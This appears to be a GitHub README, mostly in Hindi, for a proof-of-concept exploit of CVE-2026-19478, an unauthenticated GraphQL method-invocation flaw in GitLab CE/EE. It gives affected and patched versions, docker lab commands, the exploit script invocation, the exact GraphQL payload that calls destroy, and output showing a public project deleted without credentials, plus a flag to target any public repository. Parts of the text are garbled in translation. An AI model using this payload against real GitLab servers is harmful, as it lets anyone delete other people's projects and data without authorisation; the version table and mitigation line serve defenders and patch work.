
CVE-2026-19478 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, GitLab CE/EE में एक अनप्रमाणित GraphQL इंजेक्शन जो मनमाने मेथड इनवोकेशन और प्रोजेक्ट विलोपन की अनुमति देता है।
★ CVE-2026-19478 GitLab GraphQL @gl_introduced बिना प्रमाणीकरण के मनमाना-विधि-आह्वान PoC ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478 GitLab CE/EE में एक बिना प्रमाणीकरण के डेटा-परिवर्तन / विलोपन भेद्यता है (CVSS 9.4)। GitLab रोलिंग-डिप्लॉय फॉरवर्ड संगतता के लिए एक GraphQL क्लाइंट निर्देश
@gl_introduced(version: "X.Y.Z")भेजता है। जब कोई क्वेरी चल रहे सर्वर से नए संस्करण वाले फ़ील्ड का नाम देती है, तो एक ट्रेसर इसे स्थैतिक सत्यापन से पहले हटा देता है ताकि क्वेरी मान्य हो, फिर निष्पादन पर अज्ञात फ़ील्ड को बिना रिज़ॉल्वर वाले फ़ॉलबैक फ़ील्ड द्वारा हल किया जाता है। graphql-ruby में, बिना रिज़ॉल्वर वाले फ़ील्ड कोobject.public_send(field_name)कॉल करके हल किया जाता है — इसलिए क्लाइंट वर्तमान में हल किए गए ऑब्जेक्ट पर किसी भी 0-तर्क विधि के बराबर फ़ील्ड का नाम दे सकता है, और सर्वर इसे आह्वान करता है। एक सार्वजनिक प्रोजेक्ट को हल करना औरdestroyनामक "भविष्य फ़ील्ड" का अनुरोध करना इसलिए चलाता है — के एक सार्वजनिक प्रोजेक्ट (या उपयोगकर्ता डेटा को संशोधित) को हटा देता है।
Project#destroy| श्रेणी | संस्करण |
|---|---|
| कमजोर | GitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3 |
| पैच किया गया | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 या बाद में |
Resolvers::NilResolver (जो nil लौटाता है, कभी विधि आह्वान नहीं करता) के माध्यम से रूट करता हैकमजोर GitLab बनाएं और चलाएं। यह स्वयं एक सार्वजनिक रिपॉजिटरी victim/demo सीड करता है जिसे आप
बिना प्रमाणीकरण के हटा सकते हैं। GitLab को पुनर्संरचना और सीडिंग पूरी करने में ~3–5 मिनट लगते हैं।
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| पूर्वशर्त | इस लैब में स्थिति |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| एक सार्वजनिक प्रोजेक्ट अनाम रूप से पहुंच योग्य | victim/demo (सीड किया गया) |
| बिना प्रमाणीकरण के GraphQL एंडपॉइंट पहुंच योग्य | /api/graphql एक्सपोज़्ड |
एक्सप्लॉइट gitlab_exploit.py किसी भी सार्वजनिक रिपॉजिटरी को हटा देता है जिसे आप इंगित करते हैं, बिना
क्रेडेंशियल के। यह @gl_introduced पेलोड भेजता है जो GraphQL फ़ील्ड नाम destroy
को Project#destroy कॉल में बदल देता है, फिर REST API (404) के माध्यम से विलोपन की पुष्टि करता है।
# python3 gitlab_exploit.py <target ip:port> --repo <group/name>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] target ......... http://172.17.0.2:3000
[*] BEFORE (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200 (exists)
[*] PAYLOAD (unauth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] waiting for async delete to finish ...
[+] AFTER (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCCESS - the UNAUTHENTICATED request DELETED 'victim/demo'. CVE-2026-19478 proven.
विकल्प:
--detect — सुरक्षित, गैर-विनाशकारी जांच (हानिरहित to_param विधि को आह्वान करता है, destroy के बजाय)--repo group/name — इंस्टेंस पर किसी भी सार्वजनिक प्रोजेक्ट को लक्षित करें--insecure — https:// लक्ष्यों के लिए TLS सत्यापन छोड़ें@gl_introduced निर्देश / संस्करण-फ़िल्टर पथ को ब्लॉक करें, या /api/graphql तक बिना प्रमाणीकरण के पहुंच प्रतिबंधित करें